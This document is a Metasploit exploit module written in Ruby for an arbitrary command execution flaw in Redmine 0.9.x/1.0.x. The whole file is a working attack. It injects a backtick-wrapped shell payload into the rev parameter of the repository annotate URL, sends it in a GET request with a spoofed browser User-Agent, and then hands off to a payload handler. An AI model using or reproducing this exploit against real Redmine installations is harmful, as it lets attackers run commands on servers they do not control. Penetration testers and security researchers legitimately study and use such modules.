Redmine SCM Repository 0.9.x / 1.0.x - Arbitrary Command Execution



##

# $Id: redmine_scm_exec.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution vulnerability in the
                Redmine repository controller. The flaw is triggered when a rev parameter
                is passed to the command line of the SCM tool without adequate filtering.
            },
            'Author'         => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11516 $',
            'References'     =>
                [
                    ['OSVDB', '70090'],
                    ['URL', 'http://www.redmine.org/news/49' ]
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 512,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic telnet',
                        }
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Dec 19 2010',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
                ], self.class)
    end

    def exploit
        command = Rex::Text.uri_encode(payload.encoded)
        urlconfigdir = datastore['URI'] + "repository/annotate?rev=`#{command}`"

        res = send_request_raw({
            'uri'     => urlconfigdir,
            'method'  => 'GET',
            'headers' =>
            {
                'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
                'Connection' => 'Close',
            }
        }, 25)

        if (res)
            print_status("The server returned: #{res.code} #{res.message}")
        else
            print_status("No response from the server")
        end
        handler
    end

end